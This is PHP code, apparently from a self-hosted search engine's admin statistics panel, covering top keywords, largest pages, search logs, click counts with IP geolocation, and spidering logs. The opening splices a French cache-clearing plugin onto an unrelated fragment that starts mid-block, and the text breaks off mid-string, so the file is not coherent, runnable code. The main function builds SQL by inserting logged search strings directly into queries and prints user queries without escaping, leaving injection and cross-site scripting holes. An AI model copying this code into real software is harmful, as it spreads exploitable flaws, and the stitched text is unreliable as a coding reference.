function delcache_plugin_action(&$_) { if ($_['action'] == 'delcache') { $myUser = isset($_SESSION['currentUser']) ? unserialize($_SESSION['currentUser']) : false; if ($myUser == false) { exit('Vous devez vous connecter pour cette action.'); } clear_folder("cache/"); echo "<script type='text/javascript'>\n if (window.confirm('Le cache a été vidé')) {\n window.location.href='index.php';\n }\n </script>"; } }
die; } else { if ($cat_info['main_list']) { // main category selection // display main category selection include "" . $template_dir . "/html/030_category-selection.html"; die; } } } break; case 2: // present all media results of a selected page // first clear former thumbnails from the temporary folder $thumb_folder = str_replace("../", "", $thumb_folder); clear_folder($thumb_folder); if ($debug == '2') { $slv1 = ''; $slv2 = ''; $slv3 = ''; $slv4 = ''; $slv5 = ''; if ($db1_slv == 1) { $slv1 = '1,'; } if ($db2_slv == 1) { $slv2 = '2,'; } if ($db3_slv == 1) { $slv3 = '3,'; }
function statisticsForm($type) { global $db_con, $mysql_table_prefix, $log_dir, $include_dir, $sites_per_page, $search_script; global $debug, $thumb_dir, $start, $image_dir, $mysql_csize, $mysql_cacheon, $dba_act; global $index_id3, $delim, $thumb_folder; error_reporting(0); echo "<div class='submenu cntr'>| Database {$dba_act} with table prefix '{$mysql_table_prefix}' |</div>\n <div class='submenu y4'>\n <ul>\n <li><a href='admin.php?f=statistics&type=keywords' title='Show list of Top 100 Keywords'>Top keywords</a></li>\n <li><a href='admin.php?f=statistics&type=thumb_files' title='Show list of all indexed thumbnails.'>Indexed Thumbnails</a></li>\n <li><a href='admin.php?f=statistics&type=pages' title='Show list of Largest Pages and their indexed file size'>Largest pages</a></li>\n <li><a href='admin.php?f=statistics&type=spidering_log' title='Show list of Spidering Logs'>Spidering logs</a></li>\n <li><a href='admin.php?f=statistics&type=autoindex' title='Show start time and index counter'>Auto Re-index log file</a></li>\n <li><a href='admin.php?f=statistics&type=ids' title='Show list of intrusion attempts'>IDS log file</a></li>\n <li><a href='admin.php?f=statistics&type=server_info' title='Show all available server info'>Server Info</a></li>\n </ul>\n <br /><br />\n <ul>\n <li><a href='admin.php?f=statistics&type=log' title='Show Search Log activity'>Search log</a></li>\n <li><a href='admin.php?f=statistics&type=top_searches' title='Show list of the most popular on-line Searches'>Most popular searches</a></li>\n <li><a href='admin.php?f=statistics&type=top_links' title='Show list of the most popular page links, clicked by the user'>Most popular page links</a></li>\n <li><a href='admin.php?f=statistics&type=top_media' title='Show list of the most popular media flinks, clicked by the user'>Most popular media links</a></li>\n </ul>\n </div>\n "; if ($type == "") { $cachedSumQuery = "SELECT sum(length(fulltxt)) from " . $mysql_table_prefix . "links"; $result = $db_con->query($cachedSumQuery); if ($debug && $db_con->errno) { $err_row = __LINE__ - 2; printf("<p><span class='red'> MySQL failure: %s \n<br /></span></p>", $db_con->error); if (__FUNCTION__) { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} in function(): " . __FUNCTION__ . " <br /></span></p>"); } else { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} <br /></span></p>"); } printf("<p><span class='red'> Script execution aborted. <br /></span>"); printf("<p><strong>Invalid query string, which caused the SQL error:</strong></p>"); printf("<p>{$cachedSumQuery}</p>"); exit; } if ($row = $result->fetch_array(MYSQLI_NUM)) { $cachedSumSize = $row[0]; } $cachedSumSize = number_format($cachedSumSize / 1024, 2); $sitesSizeQuery = "SELECT sum(size) from " . $mysql_table_prefix . "links"; $result = $db_con->query("{$sitesSizeQuery}"); if ($debug && $db_con->errno) { $err_row = __LINE__ - 2; printf("<p><span class='red'> MySQL failure: %s \n<br /></span></p>", $db_con->error); if (__FUNCTION__) { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} in function(): " . __FUNCTION__ . " <br /></span></p>"); } else { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} <br /></span></p>"); } printf("<p><span class='red'> Script execution aborted. <br /></span>"); printf("<p><strong>Invalid query string, which caused the SQL error:</strong></p>"); printf("<p>{$sitesSizeQuery}</p>"); exit; } if ($row = $result->fetch_array(MYSQLI_NUM)) { $sitesSize = $row[0]; } $sitesSize = number_format($sitesSize, 2); $sql_query = "SELECT ip from " . $mysql_table_prefix . "query_log"; $result = $db_con->query($sql_query); if ($debug && $db_con->errno) { $err_row = __LINE__ - 2; printf("<p><span class='red'> MySQL failure: %s \n<br /></span></p>", $db_con->error); if (__FUNCTION__) { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} in function(): " . __FUNCTION__ . " <br /></span></p>"); } else { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} <br /></span></p>"); } printf("<p><span class='red'> Script execution aborted. <br /></span>"); printf("<p><strong>Invalid query string, which caused the SQL error:</strong></p>"); echo "<p> {$sql_query} </p>"; exit; } $query_tot = '0'; $sql_query = "SELECT count(*) from " . $mysql_table_prefix . "query_log"; $result = $db_con->query($sql_query); if ($debug && $db_con->errno) { $err_row = __LINE__ - 2; printf("<p><span class='red'> MySQL failure: %s \n<br /></span></p>", $db_con->error); if (__FUNCTION__) { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} in function(): " . __FUNCTION__ . " <br /></span></p>"); } else { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} <br /></span></p>"); } printf("<p><span class='red'> Script execution aborted. <br /></span>"); printf("<p><strong>Invalid query string, which caused the SQL error:</strong></p>"); echo "<p> {$sql_query} </p>"; exit; } if ($row = $result->fetch_array(MYSQLI_NUM)) { $query_tot = $row[0]; } $page_clicks = '0'; $sql_query = "SELECT sum(click_counter) from " . $mysql_table_prefix . "links"; $result = $db_con->query($sql_query); if (!$db_con->errno) { if ($row = $result->fetch_array(MYSQLI_NUM)) { $page_clicks = $row[0]; } $result = $db_con->query("SELECT count(*) from " . $mysql_table_prefix . "media"); if ($debug && $db_con->errno) { $err_row = __LINE__ - 2; printf("<p><span class='red'> MySQL failure: %s \n<br /></span></p>", $db_con->error); if (__FUNCTION__) { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} in function(): " . __FUNCTION__ . " <br /></span></p>"); } else { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} <br /></span></p>"); } printf("<p><span class='red'> Script execution aborted. <br /></span>"); printf("<p><strong>Invalid query string, which caused the SQL error:</strong></p>"); echo "<p> {$sql_query} </p>"; exit; } if ($row = $result->fetch_array(MYSQLI_NUM)) { $media_tot = $row[0]; } $media_clicks = '0'; $sql_query = "SELECT * from " . $mysql_table_prefix . "media where click_counter > 0"; $result = $db_con->query($sql_query); if ($debug && $db_con->errno) { $err_row = __LINE__ - 2; printf("<p><span class='red'> MySQL failure: %s \n<br /></span></p>", $db_con->error); if (__FUNCTION__) { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} in function(): " . __FUNCTION__ . " <br /></span></p>"); } else { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} <br /></span></p>"); } printf("<p><span class='red'> Script execution aborted. <br /></span>"); printf("<p><strong>Invalid query string, which caused the SQL error:</strong></p>"); echo "<p> {$sql_query} </p>"; exit; } if ($row = $result->num_rows) { $media_clicks = $row; } $stats = getStatistics(); echo "<div class='panel w60'>\n <dl class='tblhead'>\n <dt class='headline x2'>Overall Statistics :</dt><dd class='headline'> Counts</dd>\n <dt class='odrow bd x2'>Sites :</dt><dd class='odrow'> " . $stats['sites'] . "</dd>\n <dt class='evrow bd x2'>Links :</dt><dd class='evrow'> " . $stats['links'] . "</dd>\n <dt class='odrow bd x2'>Categories :</dt><dd class='odrow'> " . $stats['categories'] . "</dd>\n <dt class='evrow bd x2'>Keywords :</dt><dd class='evrow'> " . $stats['keywords'] . "</dd>\n <dt class='odrow bd x2'>Media files :</dt><dd class='odrow'> {$media_tot}</dd>\n <dt class='odrow bd x2'>Keyword link-relations :</dt><dd class='odrow'> " . $stats['index'] . "</dd>\n <dt class='evrow bd x2'>Cached texts total :</dt><dd class='evrow'> {$cachedSumSize} kb</dd>\n <dt class='odrow bd x2'>Sites size total :</dt><dd class='odrow'> {$sitesSize} kb</dd>\n <dt class='evrow bd x2'>Queries total :</dt><dd class='evrow'> {$query_tot}</dd>\n <dt class='odrow bd x2'>Page Link clicks total :</dt><dd class='odrow'> {$page_clicks}</dd>\n <dt class='odrow bd x2'>Media Link clicks total :</dt><dd class='odrow'> {$media_clicks}</dd>\n </dl>\n </div>\n "; } else { echo "\n <div class='submenu cntr'>\n <span class='warnadmin'>\n "; echo "<br /><br /><br />\n Invalid database table installation.\n <br />\n </span>\n </div>\n <br /><br />\n "; die; } echo "</div>\n </div>\n </body>\n </html>\n "; exit; } if ($type == 'keywords') { $class = "evrow"; $sql_query = "SELECT keyword, count(" . $mysql_table_prefix . "link_keyword.keyword_id) as x from " . $mysql_table_prefix . "keywords, " . $mysql_table_prefix . "link_keyword\n where " . $mysql_table_prefix . "keywords.keyword_id = " . $mysql_table_prefix . "link_keyword.keyword_id group by keyword order by x desc limit 30"; $result = $db_con->query($sql_query); if ($debug && $db_con->errno) { $err_row = __LINE__ - 2; printf("<p><span class='red'> MySQL failure: %s \n<br /></span></p>", $db_con->error); if (__FUNCTION__) { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} in function(): " . __FUNCTION__ . " <br /></span></p>"); } else { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} <br /></span></p>"); } printf("<p><span class='red'> Script execution aborted. <br /></span>"); printf("<p><strong>Invalid query string, which caused the SQL error:</strong></p>"); echo "<p> {$sql_query} </p>"; exit; } $num_rows = $result->num_rows; if ($num_rows) { while ($row = $result->fetch_array(MYSQLI_NUM)) { $topwords[$row[0]] = $row[1]; } } arsort($topwords); echo "<div class='panel'>\n <p class='headline cntr'>Top 100 Keywords</p>\n "; $nloops = 1; do { $nloops++; $count = 1; echo "<div class='ltfloat x3'>\n <dl>\n <dt class='headline x2'>Keyword</dt><dd class='headline'>: Instances</dd>\n "; while ((list($word, $weight) = each($topwords)) && $count < 34) { $count++; if ($class == "evrow") { $class = "odrow"; } else { $class = "evrow"; } echo "<dt class='{$class}'><a href='../{$search_script}?query={$word}&search=1' target='rel' title='View search results in new window'>" . trim(substr($word, 0, 35)) . "</a></dt>\n <dd class='{$class}'>: " . $weight . "</dd>\n "; } echo "</dl>\n </div>\n "; } while ($nloops <= 3); echo "<div class='clear'></div>\n <br />\n <a class='navup' href='#head' title='Jump to Page Top'>Top</a>\n <br />\n </div>\n </div>\n </div>\n </body>\n </html>\n "; exit; } if ($type == 'pages') { $class = "evrow"; echo "<div class='panel'>\n <dl class='tblhead'>\n <dt class='headline x8'>File Size</dt><dd class='headline cntr'>Links to Largest Pages</dd>\n "; $sql_query = "SELECT " . $mysql_table_prefix . "links.link_id, url, length(fulltxt) as x from " . $mysql_table_prefix . "links order by x desc LIMIT 20"; $result = $db_con->query($sql_query); if ($debug && $db_con->errno) { $err_row = __LINE__ - 2; printf("<p><span class='red'> MySQL failure: %s \n<br /></span></p>", $db_con->error); if (__FUNCTION__) { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} in function(): " . __FUNCTION__ . " <br /></span></p>"); } else { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} <br /></span></p>"); } printf("<p><span class='red'> Script execution aborted. <br /></span>"); printf("<p><strong>Invalid query string, which caused the SQL error:</strong></p>"); echo "<p> {$sql_query} </p>"; exit; } while ($row = $result->fetch_array(MYSQLI_NUM)) { if ($class == "evrow") { $class = "odrow"; } else { $class = "evrow"; } $url = reconvert_url($row[1]); $sum = number_format($row[2] / 1024, 2); echo "<dt class='{$class} x8'>" . $sum . "kb </dt>\n <dd class='{$class}'><a href='{$url}' title='Open this page in new window' target='_blank'>" . $url . "</a></dd>\n "; } echo "</dl>\n <br />\n <a class='navup' href='#head' title='Jump to Page Top'>Top</a>\n <br />\n </div>\n </div>\n </div>\n </body>\n </html>\n "; exit; } if ($type == 'top_searches') { $class = "evrow"; echo "<div class='panel'>\n <p class='headline cntr sml'>Most Popular Searches (Top 50)</p>\n <table width='100%'>\n <tr>\n <td class='tblhead'>Query</td>\n <td class='tblhead'>Count</td>\n <td class='tblhead'>Media query</td>\n <td class='tblhead'>Average results</td>\n <td class='tblhead'>Last queried</td>\n <td class='tblhead'>Queried by IP</td>\n <td class='tblhead'>Country</td>\n <td class='tblhead'>Host name</td>\n </tr>\n "; $sql_query = "SELECT query, count(*) as c, date_format(max(time), '%Y-%m-%d %H:%i:%s'), avg(results), media from " . $mysql_table_prefix . "query_log group by query order by c desc LIMIT 50"; $result = $db_con->query($sql_query); if ($debug && $db_con->errno) { $err_row = __LINE__ - 2; printf("<p><span class='red'> MySQL failure: %s \n<br /></span></p>", $db_con->error); if (__FUNCTION__) { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} in function(): " . __FUNCTION__ . " <br /></span></p>"); } else { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} <br /></span></p>"); } printf("<p><span class='red'> Script execution aborted. <br /></span>"); printf("<p><strong>Invalid query string, which caused the SQL error:</strong></p>"); echo "<p> {$sql_query} </p>"; exit; } while ($row = $result->fetch_array(MYSQLI_NUM)) { if ($class == "evrow") { $class = "odrow"; } else { $class = "evrow"; } $word = $row[0]; $times = $row[1]; $date = $row[2]; $media = $row[4]; $avg = number_format($row[3], 0); $word = str_replace("\"", "", $word); $sql_query = "SELECT ip from " . $mysql_table_prefix . "query_log where query='{$word}' order by time desc "; $result1 = $db_con->query($sql_query); if ($debug && $db_con->errno) { $err_row = __LINE__ - 2; printf("<p><span class='red'> MySQL failure: %s \n<br /></span></p>", $db_con->error); if (__FUNCTION__) { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} in function(): " . __FUNCTION__ . " <br /></span></p>"); } else { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} <br /></span></p>"); } printf("<p><span class='red'> Script execution aborted. <br /></span>"); printf("<p><strong>Invalid query string, which caused the SQL error:</strong></p>"); echo "<p> {$sql_query} </p>"; exit; } $ips = $result1->fetch_array(MYSQLI_NUM); $ip = $ips[0]; //$ip = "222.46.18.34"; // just for tests if (intval($ip) > 0) { $hostname = @gethostbyaddr($ip); // very slow! comment this row, if not required if ($hostname == $ip) { $hostname = "Unknown host"; } } else { $hostname = "Unknown host"; // a bad address. } // convert any IP into IPv6 $ip6 = IPv4To6($ip); // find Country Code using the IPv6 database and IPV6 IPs $gi = geoip_open("GeoIPv6.dat", GEOIP_STANDARD); $cc = geoip_country_code_by_addr_v6($gi, $ip6); $country = geoip_country_name_by_addr_v6($gi, $ip6); geoip_close($gi); if ($media) { // prepare a media search $sql_query = "query_m=" . $word . "&submit=Media&search=1&media_only=0&cat_sel0=&cat_sel1=&cat_sel2=&cat_sel3=&cat_sel4=&type=and&results=10&db=0&prefix=0"; } else { // prepare a text search $sql_query = "query_t=" . $word . "&submit=Text&search=1&media_only=0&cat_sel0=&cat_sel1=&cat_sel2=&cat_sel3=&cat_sel4=&type=and&mark=blau+markiert&results=10&db=0&prefix=0"; } echo "<tr class='{$class} sml'>\n <td><a href='../{$search_script}?{$query}' target='_blank' title='Open this Log File in new window'>" . $word . "</a></td>\n <td class='cntr'> " . $times . "</td>\n <td class='cntr sml'> " . $media . "</td>\n <td class='cntr'> " . $avg . "</td>\n <td class='cntr'> " . $date . "</td>\n <td class='cntr'> " . $ip . "</td>\n <td class='cntr sml'> " . $cc . " - " . $country . "</td>\n <td class='cntr sml'> " . $hostname . "</td>\n </tr>\n "; } echo "\n </table>\n <br />\n <a class='navup' href='#head' title='Jump to Page Top'>Top</a>\n <br />\n </div>\n </div>\n </div>\n </body>\n </html>\n "; exit; } if ($type == 'top_links') { $class = "evrow"; echo "<div class='panel'>\n <p class='headline cntr sml'>Most Popular Links (Top 50)</p>\n <table width='100%'>\n <tr>\n <td class='tblhead'>Link</td>\n <td class='tblhead'>Total clicks</td>\n <td class='tblhead'>Last clicked</td>\n <td class='tblhead'>Last query</td>\n <td class='tblhead'>Queried<br />by IP</td>\n <td class='tblhead'>Country</td>\n <td class='tblhead'>Host name</td>\n </tr>\n "; $sql_query = "SELECT url, click_counter, last_click, last_query from " . $mysql_table_prefix . "links order by click_counter DESC, url LIMIT 50"; $result = $db_con->query($sql_query); if ($debug && $db_con->errno) { $err_row = __LINE__ - 2; printf("<p><span class='red'> MySQL failure: %s \n<br /></span></p>", $db_con->error); if (__FUNCTION__) { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} in function(): " . __FUNCTION__ . " <br /></span></p>"); } else { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} <br /></span></p>"); } printf("<p><span class='red'> Script execution aborted. <br /></span>"); printf("<p><strong>Invalid query string, which caused the SQL error:</strong></p>"); echo "<p> {$sql_query} </p>"; exit; } while ($row = $result->fetch_array(MYSQLI_NUM)) { if ($class == "evrow") { $class = "odrow"; } else { $class = "evrow"; } $url = reconvert_url($row[0]); $click_counter = $row[1]; $Timestamp = $row[2]; $last_query = $row[3]; if ($Timestamp != '0') { $last_click = date("Y-m-d H:i:s", $Timestamp); $sql_query = "SELECT ip from " . $mysql_table_prefix . "links where last_query='{$last_query}' order by last_click desc "; $result1 = $db_con->query($sql_query); $ips = $result1->fetch_array(MYSQLI_NUM); $ip = $ips[0]; //$ip = "222.46.18.34"; // just for tests if (intval($ip) > 0) { $hostname = @gethostbyaddr($ip); // very slow! comment this row, if not required if ($hostname == $ip) { $hostname = "Unknown host"; } } else { $hostname = "Unknown host"; // a bad address. } // convert any IP into IPv6 $ip6 = IPv4To6($ip); // find Country Code using the IPv6 database and IPV6 IPs $gi = geoip_open("GeoIPv6.dat", GEOIP_STANDARD); $cc = geoip_country_code_by_addr_v6($gi, $ip6); $country = geoip_country_name_by_addr_v6($gi, $ip6); geoip_close($gi); echo "<tr class='{$class} sml'>\n <td><a href='{$url}' target='rel' title='View link in new window'>" . htmlentities($url) . "</a></td>\n <td class='cntr sml'> " . $click_counter . "</td>\n <td class='cntr sml'> " . $last_click . "</td>\n <td class='cntr sml'> " . $last_query . "</td>\n <td class='cntr'> " . $ip . "</td>\n <td class='cntr sml'> " . $cc . " - " . $country . "</td>\n <td class='cntr sml'> " . $hostname . "</td>\n </tr>\n "; } } echo "\n </table>\n <br />\n <a class='navup' href='#head' title='Jump to Page Top'>Top</a>\n <br />\n </div>\n </div>\n </div>\n </body>\n </html>\n "; exit; } if ($type == 'top_media') { $class = "evrow"; echo "<div class='panel'>\n <p class='headline cntr sml'>Most Popular Media (Top 50)</p>\n <form action='' id='fdeltm'>\n <table width='100%'>\n <tr>\n <td colspan='5' class='odrow bd'>\n <input type='hidden' name='f' value='14' />\n <input class='sbmt' id='submit11' type='submit' value='Clear this statistics' title='Start statistics deletion'\n onclick=\"return confirm('Are you sure you want to delete the 'Most popular media' statistics?')\" />\n </td>\n </tr>\n <tr>\n <td class='tblhead'>Thumbnail</td>\n <td class='tblhead'>Details</td>\n <td class='tblhead'>Total clicks</td>\n <td class='tblhead'>Last clicked</td>\n <td class='tblhead'>Last query</td>\n <td class='tblhead'>Queried<br />by IP</td>\n <td class='tblhead'>Country</td>\n <td class='tblhead'>Host name</td>\n </tr>\n "; $sql_query = "SELECT link_addr, media_link, thumbnail, title, type, click_counter, last_click, last_query from " . $mysql_table_prefix . "media order by click_counter DESC, media_link LIMIT 50"; $result = $db_con->query($sql_query); if ($debug && $db_con->errno) { $err_row = __LINE__ - 2; printf("<p><span class='red'> MySQL failure: %s \n<br /></span></p>", $db_con->error); if (__FUNCTION__) { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} in function(): " . __FUNCTION__ . " <br /></span></p>"); } else { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} <br /></span></p>"); } printf("<p><span class='red'> Script execution aborted. <br /></span>"); printf("<p><strong>Invalid query string, which caused the SQL error:</strong></p>"); echo "<p> {$sql_query} </p>"; exit; } while ($row = $result->fetch_array(MYSQLI_NUM)) { if ($class == "evrow") { $class = "odrow"; } else { $class = "evrow"; } $title = substr($row[3], 0, strpos($row[3], $delim)); // extract original title without transliterated words $name0 = basename($var[1]); // extract file name $name = substr($name0, 0, strrpos($name0, ".")); // remove original suffix $last_query = $row[7]; // add folder path, db, table-prefix and add own suffix $file = utf8_decode("." . $thumb_folder . "/db" . $dba_act . "_" . $mysql_table_prefix . "_" . $name . ".gif"); // temporary save thumbnail in folder if (!($handle = fopen($file, "ab"))) { if ($debug > 0) { print "Unable to open {$file} "; } } if (!fwrite($handle, $row[2])) { if ($debug > 0) { print "Unable to write the file {$file}. No thumbnails will be presented"; } } fclose($handle); if ($row[4] == 'audio') { // use dummy thumbnail $thumb_link = "{$image_dir}/notes60.gif"; } if ($row[4] == 'video') { // use dummy thumbnail $thumb_link = "{$image_dir}/film60.gif"; } if ($row[6] != '0') { $last_click = date("Y-m-d H:i:s", $row[6]); $sql_query = "SELECT ip from " . $mysql_table_prefix . "media where last_query='{$last_query}' order by last_click desc "; $result1 = $db_con->query($sql_query); if ($debug && $db_con->errno) { $err_row = __LINE__ - 2; printf("<p><span class='red'> MySQL failure: %s \n<br /></span></p>", $db_con->error); if (__FUNCTION__) { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} in function(): " . __FUNCTION__ . " <br /></span></p>"); } else { printf("<p><span class='red'> Found in script: " . __FILE__ . " row: {$err_row} <br /></span></p>"); } printf("<p><span class='red'> Script execution aborted. <br /></span>"); printf("<p><strong>Invalid query string, which caused the SQL error:</strong></p>"); echo "<p> {$sql_query} </p>"; exit; } $ips = $result1->fetch_array(MYSQLI_NUM); $ip = $ips[0]; //$ip = "222.46.18.34"; // just for tests if (intval($ip) > 0) { $hostname = @gethostbyaddr($ip); // very slow! comment this row, if not required if ($hostname == $ip) { $hostname = "Unknown host"; } } else { $hostname = "Unknown host"; // a bad address. } // convert any IP into IPv6 $ip6 = IPv4To6($ip); // find Country Code using the IPv6 database and IPV6 IPs $gi = geoip_open("GeoIPv6.dat", GEOIP_STANDARD); $cc = geoip_country_code_by_addr_v6($gi, $ip6); $country = geoip_country_name_by_addr_v6($gi, $ip6); geoip_close($gi); echo "<tr class='{$class} sml'>\n <td class='cntr'><a href='{$row['1']}' target='rel' title='Open this object'><img src='{$file}' border='1' alt='Open this object' /></a></td>\n <td><strong>Title:</strong> {$title}\n <br /><br />\n <strong>Found at:</strong> <a href='{$row['0']}' target='rel' title='Open this page in a new window'>{$row['0']}</a></td>\n <td class='cntr sml'> " . $row[5] . "</td>\n <td class='cntr sml'> " . $last_click . "</td>\n <td class='cntr sml'> " . $row[7] . "</td>\n <td class='cntr'> " . $ip . "</td>\n <td class='cntr sml'> " . $cc . " - " . $country . "</td>\n <td class='cntr sml'> " . $hostname . "</td>\n </tr>\n "; } } echo "\n </table>\n </form>\n <br />\n <a class='navup' href='#head' title='Jump to Page Top'>Top</a>\n <br />\n </div>\n </div>\n </div>\n </body>\n </html>\n "; exit; } if ($type == 'autoindex') { $i = "0"; $logfolder = "./log/"; if ($handle = opendir($logfolder)) { // open log-folder echo "<div class='panel'>\n "; while (false !== ($logfile = readdir($handle))) { //get all log files if (strstr($logfile, "db" . $dba_act . "_" . $mysql_table_prefix . "")) { //separate only log files of current active db and table prefix $att = ''; if (strstr($logfile, "._all")) { // this log file was created during 'Re-index all sites' $att = "all"; } else { // this log file was created during individual site indexing // extract site_id from file name $end = strrpos($logfile, "_"); $start = strpos($logfile, "._") + 2; $site_id = substr($logfile, $start, $end - $start); // get URL according to actual site_id $sql_query = "SELECT * from " . $mysql_table_prefix . "sites where site_id={$site_id}"; $result = $db_con->query($sql_query); $row = $result->fetch_array(MYSQLI_ASSOC); $site_url = $row['url']; } // build some nice headlines for monitor output if ($att) { $headline = "Periodical Re-indexer<br /><br />Log file created during indexing all sites"; } else { $headline = "<br >Periodical Re-indexer<br /><br />Log file created during indexing<br />{$site_url}<br />Site id: {$site_id}"; } $content = @file("log/" . $logfile . ""); // get content of the current logfile // output the periodical Re-indexer for each log file $class = "evrow"; echo "<p class='headline cntr sml'>{$headline}</p>\n <br />\n <table width='50%'>\n <tr>\n <td class='tblhead'>Index counter</td>\n <td class='tblhead'>Started</td>\n </tr>\n "; foreach ($content as $thisrow) { if ($class == "evrow") { $class = "odrow"; } else { $class = "evrow"; } $counter = substr($thisrow, 0, strpos($thisrow, "count")); $started = date("Y-m-d H:i:s", substr($thisrow, strpos($thisrow, "count") + 5)); // if Auto-indexer already finished by count limit if (strpos($thisrow, "inish")) { $counter = "finished:"; $started = date("Y-m-d H:i:s", substr($thisrow, strpos($thisrow, "finished") + 8)); } // if Auto-indexer already finished because interval was too short if (strpos($thisrow, "borted")) { $counter = "Aborted because<br />interval too short"; $started = date("Y-m-d H:i:s", substr($thisrow, strpos($thisrow, "finished") + 7)); } echo " <tr class='{$class} sml'>\n <td class='cntr'>{$counter}</td>\n <td class='cntr'>{$started}</td>\n </tr>\n "; } echo "</table>\n <br /><br />\n <a class='navup' href='#head' title='Jump to Page Top'>Top</a>\n <br /><br />\n "; $i++; } } if ($i < "1") { echo "<br />\n <p class='cntr msg'>Note: <span class='warnadmin'>Currently no log file available</span></p>\n "; } } echo "<br />\n </div>\n <br />\n </body>\n </html>\n "; exit; } if ($type == 'log') { $class = "evrow"; echo "<div class='panel w100'>\n <p class='headline cntr sml'>Search Log (Latest 100)</p>\n <table width='100%'>\n <tr>\n <td class='tblhead'>Query</td>\n <td class='tblhead'>Media query</td>\n <td class='tblhead'>Results</td>\n <td class='tblhead'>Queried at:</td>\n <td class='tblhead'>Time taken</td>\n <td class='tblhead'>User IP</td>\n <td class='tblhead'>Country</td>\n <td class='tblhead'>Host name</td>\n </tr>\n "; $sql_query = "SELECT query, date_format(time, '%Y-%m-%d %H:%i:%s'), elapsed, results, ip, media from " . $mysql_table_prefix . "query_log order by time desc LIMIT 100"; $result = $db_con->query($sql_query); while ($row = $result->fetch_array(MYSQLI_NUM)) { if ($class == "evrow") { $class = "odrow"; } else { $class = "evrow"; } $query = ''; $word = $row[0]; $time = $row[1]; $elapsed = $row[2]; $results = $row[3]; $ip = $row[4]; $media = $row[5]; //$ip = "222.46.18.34"; // just for tests if (intval($ip) > 0) { $hostname = @gethostbyaddr($ip); // very slow! comment this row, if not required if ($hostname == $ip) { $hostname = "Unknown host"; } } else { $hostname = "Unknown host"; // a bad address. } // convert any IP into IPv6 $ip6 = IPv4To6($ip); // find Country Code using the IPv6 database and IPV6 IPs $gi = geoip_open("GeoIPv6.dat", GEOIP_STANDARD); $cc = geoip_country_code_by_addr_v6($gi, $ip6); $country = geoip_country_name_by_addr_v6($gi, $ip6); geoip_close($gi); if ($media) { // prepare a media search $query = "query_m=" . $word . "&submit=Media&search=1&media_only=0&cat_sel0=&cat_sel1=&cat_sel2=&cat_sel3=&cat_sel4=&type=and&results=10&db=0&prefix=0"; } else { // prepare a text search $query = "query_t=" . $word . "&submit=Text&search=1&media_only=0&cat_sel0=&cat_sel1=&cat_sel2=&cat_sel3=&cat_sel4=&type=and&mark=blau+markiert&results=10&db=0&prefix=0"; } echo "<tr class='{$class}'>\n <td><a href='../{$search_script}?{$query}' target='_blank' title='Open this Log File in new window'>" . $word . "</a></td>\n <td class='cntr sml'> " . $media . "</td>\n <td class='cntr sml'> " . $results . "</td>\n <td class='cntr sml'> " . $time . "</td>\n <td class='cntr sml'> " . $elapsed . "</td>\n <td class='cntr sml'> " . $ip . "</td>\n <td class='cntr sml'> " . $cc . " - " . $country . "</td>\n <td class='cntr sml'> " . $hostname . "</td>\n </tr>\n "; } echo "\n </table>\n <br />\n <a class='navup' href='#head' title='Jump to Page Top'>Top</a>\n <br />\n </div>\n </div>\n </div>\n </body>\n </html>\n "; exit; } if ($type == 'spidering_log') { $class = "evrow"; $files = get_dir_contents($log_dir); if (count($files) > 0) { echo "<div class='panel w75'>\n <p class='headline cntr'>Spidering Logs</p>\n <form action='' id='fdelfm'>\n <table width='100%'>\n <tr>\n <td class='tblhead'>File</td>\n <td class='tblhead'>Created</td>\n <td class='tblhead' width='25%'>Option</td>\n </tr>\n <tr>\n <td colspan='3' class='odrow cntr bd'>\n <input type='hidden' name='f' value='44'\n />\n <input class='sbmt' id='submit1' type='submit' value='Delete ALL log files' title='Start Log File deletion'\n onclick=\"return confirm('Are you sure you want to delete ALL log files? ATTENTION: A still running periodical indexing will be aborted.')\" />\n </td>\n </tr>\n "; for ($i = 0; $i < count($files); $i++) { $file = $files[$i]; $year = substr($file, 4, 2); $month = substr($file, 6, 2); $day = substr($file, 8, 2); $hour = substr($file, 11, 2); $minute = substr($file, 14, 2); $second = substr($file, 17, 2); if ($class == "evrow") { $class = "odrow"; } else { $class = "evrow"; } echo "<tr class='{$class}'>\n <td class='cntr sml'>\n <a href='{$log_dir}/{$file}' target='_blank' title='Open this Log File in new window'>{$file}</a></td>\n "; if (strlen($file) > '13') { if (strstr($file, "auto-indexer")) { // the log-file for the Auto Re-indexer $logfile = "log/db" . $dba_act . "_" . $mysql_table_prefix . "._all_auto-indexer.log"; $content = @file($logfile); // content of the logfile $started = date("Y-m-d H:i:s", substr($content[0], strpos($content[0], "count") + 5)); echo " <td class='cntr sml'>{$started}</td>\n <td class='cntr sml options'><a href='?f=delete_log&file={$file}' class='options' title='Click to Delete this Log File'\n onclick=\"return confirm('Are you sure you want to delete? {$file} ATTENTION: Deleting this Log File may abort periodical Re-indexing.')\">Delete</a></td>\n "; } else { echo " <td class='cntr sml'>20{$year}-{$month}-{$day} {$hour}:{$minute}.{$second}</td>\n <td class='cntr sml options'><a href='?f=delete_log&file={$file}' class='options' title='Click to Delete this Log File'\n 